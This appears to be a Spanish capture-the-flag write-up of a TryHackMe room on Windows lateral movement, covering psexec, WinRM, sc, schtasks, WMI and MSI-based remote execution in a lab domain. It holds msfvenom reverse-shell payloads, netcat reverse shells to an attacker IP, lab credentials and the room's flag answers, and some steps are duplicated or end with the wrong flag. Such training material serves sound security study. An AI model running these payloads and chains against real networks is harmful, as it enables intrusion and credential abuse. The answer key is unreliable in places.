TryHackMe CompTIA Pentest+ Lateral Movement and Pivoting

Hola hacketones! Bienvenidos a un nuevo CTF veremos: TryHackMe CompTIA Pentest+ Lateral Movement and Pivoting 

Movimiento lateral y pivote 

Aprenda sobre las técnicas comunes que se utilizan para moverse lateralmente a través de una red Windows.

Tarea 1 Introducción

En esta sala, analizaremos el movimiento lateral, un conjunto de técnicas que utilizan los atacantes para desplazarse por la red generando la menor cantidad de alertas posible. Aprenderemos sobre varias técnicas comunes utilizadas en la práctica con este fin y las herramientas involucradas .

Se recomienda pasar por la BrechaANUNCIOy enumeraciónANUNCIOhabitaciones anteriores a esta.

Objetivos de aprendizaje

• Familiarícese con las técnicas de movimiento lateral utilizadas por los atacantes.
• Aprende a utilizar materiales de autenticación alternativos para moverte lateralmente.
• Aprende diferentes métodos para usar hosts comprometidos como puntos de pivote.

Conectarse a la red

Si utilizas AttackBox basado en web, te conectarás automáticamente a la red si inicias AttackBox desde la página de la sala. Puedes verificarlo ejecutando el comando ping contra la IP del host THMDC.za.tryhackme.com. Todavía necesitamos configurar DNS Sin embargo, las redes de Windows utilizan el Servicio de nombres de dominio (DNS) para resolver nombres de host aIPs. A lo largo de esta red,DNS se utilizará para las tareas. Tendrá que configurar DNS en el host en el que está ejecutando el conexión. Para configurar nuestra DNS, ejecute el siguiente comando:

Terminal

[thm@thm]$sed-i’1s|^|nameserver $THMDCIP\n|’/etc/resolv-dnsmasq

Recuerda reemplazar $THMDCIP con la IP de THMDC en tu diagrama de red.

Puedes comprobar que el DNS funciona ejecutando:

nslookup thmdc.za.tryhackme.com

Esto debería resolverse a la IP de su controlador de dominio.

Nota: DNS Puede reiniciarse en AttackBox aproximadamente cada 3 horas. Si esto ocurre, tendrá que volver a ejecutar el comando anterior. Si su AttackBox finaliza y continúa con la sala en una etapa posterior, tendrá que volver a ejecutar todo el comando anterior.

También debes tomarte el tiempo para anotar tu IP de VPN. Usando ifconfigo ip a, anota la IP del adaptador de red de lateralmovement . Esta es tu IP y la interfaz asociada que debes usar al realizar los ataques en las tareas.

Otros anfitriones

Si vas a usar tu propio equipo de ataque, se generará automáticamente un archivo de configuración de OpenVPN al unirte a la sala. Ve a tu página de acceso . Selecciona Lateralmovementandpivotinguno de los servidores VPN (en la pestaña de red) y descarga tu archivo de configuración.

Utilice un cliente OpenVPN para conectarse. Este ejemplo se muestra en un equipo Linux; encontrará guías similares para conectarse mediante Windows o macOS en su página de acceso .

Terminal

El mensaje «Secuencia de inicialización completada» indica que ya está conectado a la red. Vuelva a su página de acceso. Puede verificar la conexión en su página de acceso. Actualice la página y verá una marca de verificación verde junto a «Conectado». También se mostrará su dirección IP interna.

Nota: Aún debe configurar el DNS de forma similar a como se muestra arriba. Es importante tener en cuenta que, aunque no se utiliza, el controlador de dominio registra las solicitudes DNS. Si está utilizando su equipo, estos registros pueden incluir el nombre de host de su dispositivo.

Kali

Si utilizas una máquina virtual Kali, lo más probable es que Network Manager se utilice como administrador de DNS. Puedes usar el menú de la interfaz gráfica de usuario para configurar el DNS:

• Administrador de red -> Configuración avanzada de red -> Su conexión -> Configuración IPv4
• Configure aquí su IP DNS con la IP de THMDC que aparece en el diagrama de red anterior.
• Agregue otro DNS como 1.1.1.1 o similar para asegurarse de que aún tenga acceso a Internet.
• Ejecuta sudo systemctl restart NetworkManagery prueba tu DNS similar a los pasos anteriores.

Nota: Al configurar su DNS De esta forma, el nslookupcomando no funcionará como se espera. Para comprobar si configuraste correctamente tu DNS, simplemente ve a  http://distributor.za.tryhackme.com/creds . Si ves el sitio web, ya tienes todo listo para el resto de la sala.

Solicitud de sus credenciales

Para simular una brecha de seguridad en Active Directory, recibirá su primer conjunto de credenciales. Una vez completada la configuración de red, en su Attack Box, acceda a  http://distributor.za.tryhackme.com/creds para solicitar su par de credenciales. Haga clic en el botón «Obtener credenciales» para recibir su par de credenciales, que podrá utilizar para el acceso inicial.

Este par de credenciales le proporcionará acceso SSH a THMJMP2.za.tryhackme.com. THMJMP2 puede considerarse un servidor intermedio para acceder a este entorno, simulando el punto de acceso que usted ha logrado. 

Para acceder mediante SSH, puede utilizar el siguiente comando:

ssh za\\<AD Username>@thmjmp2.za.tryhackme.com

Una nota sobre las shells inversas

Si está utilizando AttackBox y se ha unido a otras salas de red anteriormente, asegúrese de seleccionar la dirección IP asignada a la interfaz del túnel que da a la lateral movement and pivoting red como su ATTACKER_IP; de lo contrario, sus shells/conexiones inversas no funcionarán correctamente. Para su comodidad, la interfaz conectada a esta red se llama lateral movement, por lo que debería poder obtener la dirección IP correcta ejecutando ip add show lateral movement:

Esto será útil siempre que necesites establecer una conexión inversa con la máquina del atacante en cualquier punto de la sala.

Tarea 2 Moverse a través de la red

¿Qué es el movimiento lateral?

En pocas palabras, el movimiento lateral es el conjunto de técnicas que utilizan los atacantes para desplazarse por una red. Una vez que un atacante ha obtenido acceso a la primera máquina de la red, el movimiento es esencial por muchas razones, entre ellas: – Alcanzar nuestros objetivos como atacantes – Eludir las restricciones de red – Establecer puntos de entrada adicionales a la red – Crear confusión y evitar ser detectados.

Si bien muchas cadenas de ataque cibernético hacen referencia al movimiento lateral como un paso adicional en un proceso lineal, en realidad forma parte de un ciclo. Durante este ciclo, utilizamos las credenciales disponibles para realizar el movimiento lateral, lo que nos permite acceder a nuevas máquinas donde elevamos privilegios y extraemos credenciales, si es posible. Con las credenciales recién obtenidas, el ciclo vuelve a empezar.

Normalmente, repetiremos este ciclo varias veces antes de alcanzar nuestro objetivo final en la red. Si nuestro primer punto de acceso es una máquina con muy poco acceso a otros recursos de la red, es posible que necesitemos movernos lateralmente a otros hosts que tengan más privilegios en la red.

Un ejemplo rápido

Supongamos que estamos realizando una prueba de equipo rojo donde nuestro objetivo final es llegar a un repositorio de código interno, donde obtuvimos nuestra primera vulneración en la red objetivo mediante el uso de una campaña de phishingc. Por lo general, Las campañas son más efectivas contra usuarios no técnicos, por lo que nuestro primer acceso podría ser a través de una máquina en el departamento de Marketing.

Las estaciones de trabajo de marketing normalmente estarán limitadas a través de políticas de cortafuegos para acceder a cualquier servicio crítico en la red, incluidos protocolos administrativos, puertos de bases de datos, servicios de monitoreo o cualquier otro que no sea necesario para su trabajo diario, incluidos los repositorios de código.

Para acceder a hosts y servicios sensibles, necesitamos movernos a otros hosts y, desde allí, avanzar hacia nuestro objetivo final. Para ello, podríamos intentar elevar los privilegios en la estación de trabajo de Marketing y extraer los hashes de las contraseñas de los usuarios locales. Si encontramos un administrador local, es posible que la misma cuenta esté presente en otros hosts. Tras realizar un reconocimiento, encontramos una estación de trabajo con el nombre DEV-001-PC. Utilizamos el hash de la contraseña del administrador local para acceder a DEV-001-PC y confirmar que pertenece a uno de los desarrolladores de la empresa. A partir de ahí, tenemos acceso al repositorio de código objetivo.

Tenga en cuenta que, si bien puede ser necesario utilizar el movimiento lateral para sortear las restricciones del cortafuegos, también es útil para evadir la detección. En nuestro ejemplo, incluso si la estación de trabajo de Marketing tuviera acceso directo al repositorio de código, probablemente sea deseable conectarse a través de la PC del desarrollador. Este comportamiento sería menos sospechoso desde el punto de vista del equipo azul revisando los registros de auditoría de inicio de sesión.

La perspectiva del atacante

Hay varias formas en que un atacante puede moverse lateralmente. La forma más sencilla sería utilizar  protocolos administrativos estándar como WinRM,  RDP, VNC o SSH para conectarse a otras máquinas de la red. Este enfoque puede utilizarse para emular en cierta medida el comportamiento de los usuarios habituales, siempre que se mantenga cierta coherencia al planificar dónde conectarse con qué cuenta. Mientras que un usuario de TI se conecta al servidor web a través de RDP Puede que sea algo habitual y pase desapercibido, pero hay que tener cuidado de no intentar conexiones sospechosas  (por ejemplo, ¿por qué el usuario administrador local se conecta al PC DEV-001 desde el PC de Marketing?) .

Los atacantes hoy en día también tienen otros métodos para moverse lateralmente, lo que hace que sea un poco más difícil para el equipo azul para detectar lo que está sucediendo  de manera efectiva . Si bien ninguna técnica debe considerarse infalible, al menos podemos intentar ser lo más silenciosos posible. En las siguientes tareas, analizaremos algunas de las técnicas de movimiento lateral más comunes disponibles.

Administradores y UAC

Al realizar la mayoría de las técnicas de movimiento lateral presentadas en la sala, utilizaremos principalmente credenciales de administrador. Si bien cabría esperar que todas las cuentas de administrador cumplieran la misma función, es necesario distinguir entre dos tipos de administradores:

• Cuentas locales que forman parte del grupo de administradores locales.
• Cuentas de dominio que forman parte del grupo de administradores locales.

Las diferencias que nos interesan son las restricciones impuestas por el Control de cuentas de usuario (UAC) sobre los administradores locales (excepto la cuenta de administrador predeterminada). De forma predeterminada, los administradores locales no podrán conectarse remotamente a una máquina y realizar tareas administrativas a menos que utilicen una sesión interactiva a través de RDP de Windows denegará cualquier tarea administrativa solicitada a través de RPC. PYME o WinRM, ya que dichos administradores iniciarán sesión con un medio filtrado de token, impidiendo que la cuenta realice acciones privilegiadas. La única cuenta local que tendrá privilegios completos es la cuenta de administrador predeterminada.

Las cuentas de dominio con privilegios de administración local no estarán sujetas al mismo tratamiento y se iniciará sesión con privilegios administrativos completos.

Esta función de seguridad se puede deshabilitar si se desea, y a veces no encontrará ninguna diferencia entre las cuentas locales y de dominio en el grupo de administradores. Aun así, es esencial tener en cuenta que si fallan algunas de las técnicas de movimiento lateral, podría deberse al uso de un administrador local no predeterminado. UAC Se aplica esta medida.

Tarea 3 Procesos de desove remotos

Esta tarea analizará los métodos disponibles para que un atacante inicie un proceso de forma remota, lo que le permitirá ejecutar comandos en máquinas donde posea credenciales válidas. Cada una de las técnicas descritas utiliza métodos ligeramente diferentes para lograr el mismo objetivo, y algunas podrían ser más adecuadas para ciertos escenarios específicos.

Psexec

• Puertos: 445/TCP(PYME)
• Membresías de grupo obligatorias: Administradores

Psexec ha sido el método preferido durante años para ejecutar procesos de forma remota. Permite a un administrador ejecutar comandos de forma remota en cualquier PC al que tenga acceso. Psexec es una de las muchas herramientas de Sysinternals y se puede descargar aquí.

El funcionamiento de psexec es el siguiente:

1. Conéctese al recurso compartido Admin$ y cargue un archivo binario de servicio. Psexec utiliza psexesvc.exe como nombre.
2. Conéctese al administrador de control de servicios para crear y ejecutar un servicio llamado PSEXESVC y asociar el binario del servicio con C:\Windows\psexesvc.exe.
3. Crea algunas tuberías con nombre para manejar stdin/stdout/stderr.

Para ejecutar psexec, solo necesitamos proporcionar las credenciales de administrador necesarias para el host remoto y el comando que queremos ejecutar ( psexec64.exe disponible C:\toolsen THMJMP2 para su comodidad):

psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

Creación remota de procesos mediante WinRM

• Puertos: 5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS)
• Membresías de grupo requeridas: Usuarios de administración remota

La administración remota de Windows (WinRM) es un protocolo basado en web que se utiliza para enviar comandos de PowerShell a equipos Windows de forma remota. La mayoría de las instalaciones de Windows Server tienen WinRM habilitado de forma predeterminada, lo que lo convierte en un vector de ataque atractivo.

Para conectarse a una sesión remota de PowerShell desde la línea de comandos, podemos usar el siguiente comando:

winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

Podemos lograr lo mismo desdePowerShell, pero para pasar credenciales diferentes, necesitaremos crear un objeto PSCredential:

Una vez que tengamos nuestro objeto PSCredential, podemos crear una sesión interactiva utilizando el cmdlet Enter-PSSession:

Enter-PSSession-Computername TARGET -Credential $credential

PowerShellTambién incluye el cmdlet Invoke-Command, que ejecuta ScriptBlocks de forma remota a través de WinRM. Las credenciales también deben pasarse a través de un objeto PS Credential:

Invoke-Command-Computername TARGET -Credential $credential-ScriptBlock {whoami}

Creación remota  de servicios mediante sc

• Puertos:
  • 135/TCP, 49152-65535/TCP (DCE/RPC)
  • 445/TCP (RPC sobre tuberías con nombre SMB)
  • 139/TCP (RPC sobre tuberías con nombre SMB)
• Membresías de grupo obligatorias: Administradores

Los servicios de Windows también pueden utilizarse para ejecutar comandos arbitrarios, ya que se ejecutan al iniciarse. Si bien un ejecutable de servicio es técnicamente diferente de una aplicación normal, si configuramos un servicio de Windows para ejecutar cualquier aplicación, la ejecutará y, posteriormente, fallará.

Podemos crear un servicio en un host remoto con sc.exe, una herramienta estándar disponible en Windows. Al usar sc, intentará conectarse al programa de servicio remoto Administrador de control de servicios (SVCCTL) a través de RPC de varias maneras:

1. Se intentará establecer una conexión mediante DCE/RPC. El cliente se conectará primero al Asignador de Puntos Finales (EPM) en el puerto 135, que funciona como un catálogo de puntos finales RPC disponibles, y solicitará información sobre el programa de servicio SVCCTL. El EPM responderá con la dirección IP y el puerto para conectarse a SVCCTL, que suele ser un puerto dinámico en el rango de 49152 a 65535.

1. Si esta última conexión falla, sc intentará llegar a SVCCTL a través de tuberías con nombre SMB, ya sea en el puerto 445 (SMB) o en el 139 (SMB sobre NetBIOS).

Podemos crear e iniciar un servicio llamado «THMservice» utilizando los siguientes comandos:

sc.exe \\TARGET create THMservice binPath= «net user munra Pass123 /add» start= auto
sc.exe \\TARGET start THMservice

El comando «net user» se ejecutará al iniciar el servicio, creando un nuevo usuario local en el sistema. Dado que el sistema operativo es el responsable de iniciar el servicio, no podrá ver la salida del comando.

Para detener y eliminar el servicio, podemos ejecutar los siguientes comandos:

sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

Creación de tareas programadas de forma remota

Otra función de Windows que podemos usar son las Tareas programadas. Puedes crear y ejecutar una de forma remota con schtasks, disponible en cualquier instalación de Windows. Para crear una tarea llamada THMtask1, podemos usar los siguientes comandos:

schtasks /s TARGET /RU «SYSTEM» /create /tn «THMtask1» /tr «<command/payload to execute>» /sc ONCE /sd 01/01/1970 /st 00:00

schtasks /s TARGET /run /TN «THMtask1»

Configuramos el tipo de programación (/sc) en ONCE, lo que significa que la tarea se ejecutará solo una vez en la fecha y hora especificadas. Dado que ejecutaremos la tarea manualmente, la fecha de inicio (/sd) y la hora de inicio (/st) no tendrán mucha importancia.

Dado que el sistema ejecutará la tarea programada, la salida del comando no estará disponible para nosotros, lo que convierte esto en un ataque a ciegas.

Finalmente, para eliminar la tarea programada, podemos usar el siguiente comando y limpiar los archivos después de haberla realizado:

schtasks /S TARGET /TN «THMtask1» /DELETE /F

¡Manos a la obra!

Para completar este ejercicio, deberá conectarse a THMJMP2 utilizando las credenciales que se le asignaron en la Tarea 1 desde  http://distributor.za.tryhackme.com/creds . Si aún no lo ha hecho, haga clic en el enlace y obtenga las credenciales ahora. Una vez que tenga sus credenciales, conéctese a THMJMP2 a través de SSH:

ssh za\\<AD Username>@thmjmp2.za.tryhackme.com

Para este ejercicio, asumiremos que ya hemos capturado algunas credenciales con acceso administrativo:

Usuario:  ZA.TRYHACKME.COM\t1_leonard.summers

Contraseña:  EZpass4ever

Mostraremos cómo usar esas credenciales para migrar lateralmente a THMIIS sc.exe. No dudes en probar los otros métodos, ya que todos deberían funcionar con THMIIS.

Aunque ya hemos mostrado cómo usar `sc` para crear un usuario en un sistema remoto (usando `sc` net user), también podemos cargar cualquier binario que queramos ejecutar y asociarlo con el servicio creado. Sin embargo, si intentamos ejecutar una shell inversa usando este método, notaremos que la shell inversa se desconecta inmediatamente después de la ejecución. La razón es que los ejecutables de servicio son diferentes a los archivos `.exe` estándar, y por lo tanto, los ejecutables que no son de servicio terminarán siendo eliminados por el administrador de servicios casi de inmediato. Por suerte, `msfvenom` admite el exe-serviceformato `sc`, que encapsulará cualquier payload que queramos dentro de un ejecutable de servicio completamente funcional, evitando que sea eliminado.

Para crear una shell inversa, podemos usar el siguiente comando:

Nota: Dado que compartirás el laboratorio con otros, deberás usar un nombre de archivo diferente para tu carga útil en lugar de «myservice.exe» para evitar sobrescribir la carga útil de otra persona.

Caja de ataque

user@AttackBox$msfvenom -pwindows/shell/reverse_tcp -fexe-service LHOST=ATTACKER_IP LPORT=4444-omyservice.exe

A continuación, utilizaremos las credenciales de t1_leonard.summers para cargar nuestra carga útil en el recurso compartido ADMIN$ de THMIIS utilizando smbclient desde nuestro AttackBox:

Una vez que nuestro ejecutable se haya cargado, configuraremos un oyente en la máquina del atacante para recibir la shell inversa desde msfconsole:

Como alternativa, puedes ejecutar la siguiente línea de comando en tu consola Linux para hacer lo mismo:

user@AttackBox$msfconsole -q-x»use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit»

Dado que sc.exe no nos permite especificar credenciales como parte del comando, necesitamos usar runas para generar una nueva shell con el token de acceso de t1_leonard.summer. Sin embargo, solo tenemos acceso SSH a la máquina, por lo que si intentáramos algo como runas /netonly /user:ZA\t1_leonard.summers cmd.exe, el nuevo indicador de comandos se generaría en la sesión del usuario, pero no tendríamos acceso a él. Para superar este problema, podemos usar runas para generar una segunda shell inversa con el token de acceso de t1_leonard.summer:

THMJMP2: Símbolo del sistema

C:\> runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers «c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443»

Nota: Recuerda que, dado que estás usando runas esta /netonl y opción, no se comprobará si las credenciales proporcionadas son válidas (más información al respecto en la sala Enumerating AD ), así que asegúrate de escribir la contraseña correctamente. De lo contrario, verás errores de ACCESO DENEGADO más adelante en la sala.

Podemos recibir la conexión de shell inversa usando nc en nuestro AttackBox como de costumbre:

Caja de ataque

user@AttackBox$nc-lvp4443

Y finalmente, proceda a crear un nuevo servicio de forma remota utilizando sc, asociándolo con nuestro binario subido:

Asegúrate de cambiar el nombre de tu servicio para evitar conflictos con otros estudiantes.

Una vez que hayas iniciado el servicio, deberías recibir una conexión en tu AttackBox desde donde podrás acceder a la primera bandera en el escritorio de t1_leonard.summers.

Responda las siguientes preguntas

Después de ejecutar el archivo «flag.exe» en el escritorio t1_leonard.summers en THMIIS, ¿cuál es la bandera?

THM{MOVING_WITH_SERVICES}

Paso a paso completo — flag de t1_leonard.summers en THMIIS

Prerequisitos

• AttackBox con VPN lateralmovement activa (10.150.74.x)
• DNS configurado: sed -i ‘1s|^|nameserver 10.200.74.101\n|’ /etc/resolv-dnsmasq

PASO 1 — Creá el payload en AttackBox

bash

msfvenom -p windows/x64/shell_reverse_tcp -f exe-service LHOST=10.150.74.7 LPORT=4444 -o owned.exe

PASO 2 — Subilo a THMIIS

bash

smbclient -c ‘put owned.exe’ -U t1_leonard.summers -W ZA ‘//thmiis.za.tryhackme.com/admin$/’ EZpass4ever

PASO 3 — Levantá listener en AttackBox

bash

nc -lvnp 4443

PASO 4 — Conectate a THMJMP2

bash

ssh za\\rachael.atkinson@thmjmp2.za.tryhackme.com
# Password: Zjqf3489

PASO 5 — Desde THMJMP2, lanzá shell como leonard

cmd

runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers «c:\tools\nc64.exe -e cmd.exe 10.150.74.7 4443»
# Password: EZpass4ever

PASO 6 — En el listener 4443 (shell de leonard), creá el servicio

cmd

sc.exe \\thmiis.za.tryhackme.com create superowned binPath= «%windir%\owned.exe» start= auto
sc.exe \\thmiis.za.tryhackme.com start superowned

PASO 7 — Desde esa misma shell de leonard, usá winrs para entrar a THMIIS

cmd

winrs.exe -r:thmiis.za.tryhackme.com cmd

PASO 8 — En la shell de THMIIS como leonard, ejecutá el flag

cmd

cd C:\Users\t1_leonard.summers\Desktop
Flag.exe

Flag: THM{MOVING_WITH_SERVICES}

Tarea 4 Desplazamiento lateral mediante WMI

También podemos realizar muchas técnicas analizadas en la tarea anterior de manera diferente utilizando la Instrumental de administración de Windows (WMI).WMI es la implementación de Windows de Web-Based Enterprise Management (WBEM), un estándar empresarial para acceder a la información de gestión en diferentes dispositivos. 

En términos más sencillos, WMI Permite a los administradores realizar tareas de gestión estándar que los atacantes pueden aprovechar para realizar movimientos laterales de diversas maneras, las cuales analizaremos a continuación.

Conectando con WMI De PowerShell

Antes de poder conectarse a WMI usando PowerShell Para ejecutar los comandos, necesitamos crear un objeto PS Credential con nuestro usuario y contraseña. Este objeto se almacenará en la variable $credential y se utilizará en todas las técnicas de esta tarea:

A continuación, procedemos a establecer una sesión WMI utilizando cualquiera de los siguientes protocolos:

• DCOM:  Se utilizará RPC sobre IP para conectarse a WMI. Este protocolo utiliza el puerto 135/TCP y los puertos 49152-65535/TCP, tal como se explicó al usar sc.exe.
• Wsman:  Se utilizará WinRM para conectarse a WMI. Este protocolo utiliza los puertos 5985/TCP (WinRM  HTTP ) o 5986/TCP (WinRM HTTPS).

Para establecer una sesión WMI desde PowerShell, podemos usar los siguientes comandos y almacenar la sesión en la variable $Session, que utilizaremos a lo largo de la sala en las diferentes técnicas:

El New-CimSessionOptioncmdlet se utiliza para configurar las opciones de conexión para la sesión WMI, incluido el protocolo de conexión. A continuación, las opciones y las credenciales se pasan al New-CimSessioncmdlet para establecer una sesión con un host remoto.

Creación de procesos remotos medianteWMI

• Puertos:
  • 135/TCP, 49152-65535/TCP (DCERPC)
  • 5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS)
• Membresías de grupo obligatorias: Administradores

Podemos iniciar un proceso de forma remota desde PowerShell aprovechando la Instrumental de administración de Windows (WMI), enviando una Solicitud WMI a la clase Win32_Process para que inicie el proceso bajo la sesión que creamos anteriormente:

Tenga en cuenta que WMI no le permitirá ver la salida de ningún comando, pero sí creará el proceso necesario de forma silenciosa.

En sistemas heredados, se puede hacer lo mismo usando wmic desde la línea de comandos:

wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create «cmd.exe /c calc.exe»

Creación de servicios de forma remota conWMI

• Puertos:
  • 135/TCP, 49152-65535/TCP (DCERPC)
  • 5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS)
• Membresías de grupo obligatorias: Administradores

Podemos crear servicios conWMIa través de PowerShell. Para crear un servicio llamado THMService2, podemos usar el siguiente comando:

Y luego, podemos obtener acceso al servicio e iniciarlo con los siguientes comandos:

Finalmente, podemos detener y eliminar el servicio con los siguientes comandos:

Creación de tareas programadas de forma remota con WMI

• Puertos:
  • 135/TCP, 49152-65535/TCP (DCERPC)
  • 5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS)
• Membresías de grupo obligatorias: Administradores

Podemos crear y ejecutar tareas programadas utilizando algunos cmdlets disponibles en las instalaciones predeterminadas de Windows:

Para eliminar la tarea programada después de que se haya utilizado, podemos usar el siguiente comando:

Unregister-ScheduledTask-CimSession $Session-TaskName «THMtask2»

Instalación de paquetes MSI a través de WMI

• Puertos:
  • 135/TCP, 49152-65535/TCP (DCERPC)
  • 5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS)
• Membresías de grupo obligatorias: Administradores

MSI es un formato de archivo utilizado para instaladores. Si podemos copiar un paquete MSI al sistema de destino, podemos usar WMI para intentar instalarlo. El atacante puede copiar el archivo de cualquier forma posible.  Una vez que el archivo MSI se encuentra en el sistema de destino, podemos intentar instalarlo invocando la clase Win32_Product a través de WMI.

Invoke-CimMethod-CimSession $Session-ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = «C:\Windows\myinstaller.msi»;Options = «»;AllUsers = $false}

Podemos lograr lo mismo utilizando wmic en sistemas heredados:

wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

¡Manos a la obra!

Para completar este ejercicio, deberá conectarse a THMJMP2 utilizando las credenciales que se le asignaron en la Tarea 1 desde  http://distributor.za.tryhackme.com/creds . Si aún no lo ha hecho, haga clic en el enlace y obtenga las credenciales. Una vez que tenga sus credenciales, conéctese a THMJMP2 a través de SSH:

ssh za\\<AD Username>@thmjmp2.za.tryhackme.com

Para este ejercicio, asumiremos que ya hemos capturado algunas credenciales con acceso administrativo:

Usuario:  ZA.TRYHACKME.COM\t1_corine.waters

Contraseña:  Korine.1994

Mostraremos cómo usar esas credenciales para migrar a THM-IIS mediante paquetes WMI y MSI. Siéntase libre de probar los demás métodos presentados durante esta tarea.

Comenzaremos creando nuestra carga útil MSI con msfvenom desde nuestra máquina atacante:

Nota: Dado que compartirás el laboratorio con otros, deberás usar un nombre de archivo diferente para tu carga útil en lugar de «myinstaller.msi» para evitar sobrescribir la carga útil de otra persona.

Caja de ataque

user@AttackBox$msfvenom -pwindows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445-fmsi >myinstaller.msi

A continuación, copiamos la carga útil utilizando SMB o cualquier otro método disponible:

Dado que copiamos nuestra carga útil al recurso compartido ADMIN$, estará disponible en C:\Windows\ en el servidor.

Iniciamos un manejador para recibir la shell inversa de Metasploit:

Vamos a iniciar una sesión WMI contra THMIIS desde una consola de PowerShell:

A continuación, invocamos el método Install de la clase Win32_Product para activar la carga útil:

THMJMP2:PowerShell

PS C:\> Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = «C:\Windows\myinstaller.msi»; Options = «»; AllUsers = $false}

Como resultado, debería recibir una conexión en su AttackBox desde donde podrá acceder a una bandera en el escritorio t1_corine.waters.

Responda las siguientes preguntas

Después de ejecutar el archivo «flag.exe» en el escritorio t1_corine.waters en THMIIS, ¿cuál es la bandera?

THM{MOVING_WITH_WMI_4_FUN}

PASO 1 — Creá el payload en AttackBox

bash

msfvenom -p windows/x64/shell_reverse_tcp -f exe-service LHOST=10.150.74.7 LPORT=4444 -o owned.exe

PASO 2 — Subilo a THMIIS

bash

smbclient -c ‘put owned.exe’ -U t1_leonard.summers -W ZA ‘//thmiis.za.tryhackme.com/admin$/’ EZpass4ever

PASO 3 — Levantá listener en AttackBox

bash

nc -lvnp 4443

PASO 4 — Conectate a THMJMP2

bash

ssh za\\rachael.atkinson@thmjmp2.za.tryhackme.com
# Password: Zjqf3489

PASO 5 — Desde THMJMP2, lanzá shell como leonard

cmd

runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers «c:\tools\nc64.exe -e cmd.exe 10.150.74.7 4443»
# Password: EZpass4ever

PASO 6 — En el listener 4443 (shell de leonard), creá el servicio

cmd

sc.exe \\thmiis.za.tryhackme.com create superowned binPath= «%windir%\owned.exe» start= auto
sc.exe \\thmiis.za.tryhackme.com start superowned

PASO 7 — Desde esa misma shell de leonard, usá winrs para entrar a THMIIS

cmd

winrs.exe -r:thmiis.za.tryhackme.com cmd

PASO 8 — En la shell de THMIIS como leonard, ejecutá el flag

cmd

cd C:\Users\t1_leonard.summers\Desktop
Flag.exe

Flag: THM{MOVING_WITH_SERVICES}

Problemas? Probemos el plan B

Paso a paso completo — flag de t1_corine.waters

PASO 1 — Creá el payload MSI en AttackBox

bash

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.150.74.7 LPORT=4445 -f msi > miinstaller.msi

PASO 2 — Subilo a THMIIS

bash

smbclient -c ‘put miinstaller.msi’ -U t1_corine.waters -W ZA ‘//thmiis.za.tryhackme.com/admin$/’ Korine.1994

PASO 3 — Levantá el listener

bash

nc -lvnp 4445

PASO 4 — Conectate a THMJMP2

bash

ssh za\\rachael.atkinson@thmjmp2.za.tryhackme.com
# Password: Zjqf3489

PASO 5 — Desde THMJMP2, abrí PowerShell

cmd

powershell

PASO 6 — Creá la sesión WMI como corine

powershell

$username = ‘t1_corine.waters’
$password = ‘Korine.1994’
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop

PASO 7 — Instalá el MSI via WMI

powershell

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = «C:\Windows\miinstaller.msi»; Options = «»; AllUsers = $false}

PASO 8 — En el listener 4445, ejecutá el flag

cmd

cd C:\Users\t1_corine.waters\Desktop
flag.exe

PASO 9 — Desde esa shell usá winrs para correr el flag como corine

Si flag.exe da error de permisos, desde el listener:

cmd

winrs.exe -r:thmiis.za.tryhackme.com -u:ZA\t1_corine.waters -p:Korine.1994 cmd
cd C:\Users\t1_corine.waters\Desktop
flag.exe

Flag: THM{MOVING_WITH_SERVICES}

Tarea 5 Uso de material de autenticación alternativo

Por material de autenticación alternativo, nos referimos a cualquier dato que pueda utilizarse para acceder a una cuenta de Windows sin conocer la contraseña del usuario. Esto es posible gracias al funcionamiento de algunos protocolos de autenticación utilizados en las redes Windows. En esta tarea, analizaremos un par de alternativas disponibles para iniciar sesión como usuario cuando alguno de los siguientes protocolos de autenticación esté disponible en la red:

• NTLM autenticación
• Kerberos autenticación

Nota: Durante esta tarea, se presupone que usted está familiarizado con los métodos y herramientas para extraer credenciales de un host. Mimikatz será la herramienta principal para la extracción de credenciales en toda la sala.

NTLM Autenticación

Antes de adentrarnos en las técnicas de movimiento lateral propiamente dichas, echemos un vistazo a cómo NTLM La autenticación funciona:

1. El cliente envía una solicitud de autenticación al servidor al que desea acceder.
2. El servidor genera un número aleatorio y lo envía como un desafío al cliente.
3. El cliente combina su NTLM Se combina el hash de la contraseña con el desafío (y otros datos conocidos) para generar una respuesta al desafío y se envía de vuelta al servidor para su verificación.
4. El servidor reenvía tanto el desafío como la respuesta al controlador de dominio para su verificación.
5. El controlador de dominio utiliza el desafío para recalcular la respuesta y la compara con la respuesta inicial enviada por el cliente. Si coinciden, el cliente se autentica; de lo contrario, se deniega el acceso. El resultado de la autenticación se envía de vuelta al servidor.
6. El servidor reenvía el resultado de la autenticación al cliente.

Nota: El proceso descrito se aplica al usar una cuenta de dominio. Si se usa una cuenta local, el servidor puede verificar la respuesta al desafío por sí mismo sin necesidad de interactuar con el controlador de dominio, ya que tiene el hash de la contraseña almacenado localmente en su SAM.

Pasar el hash

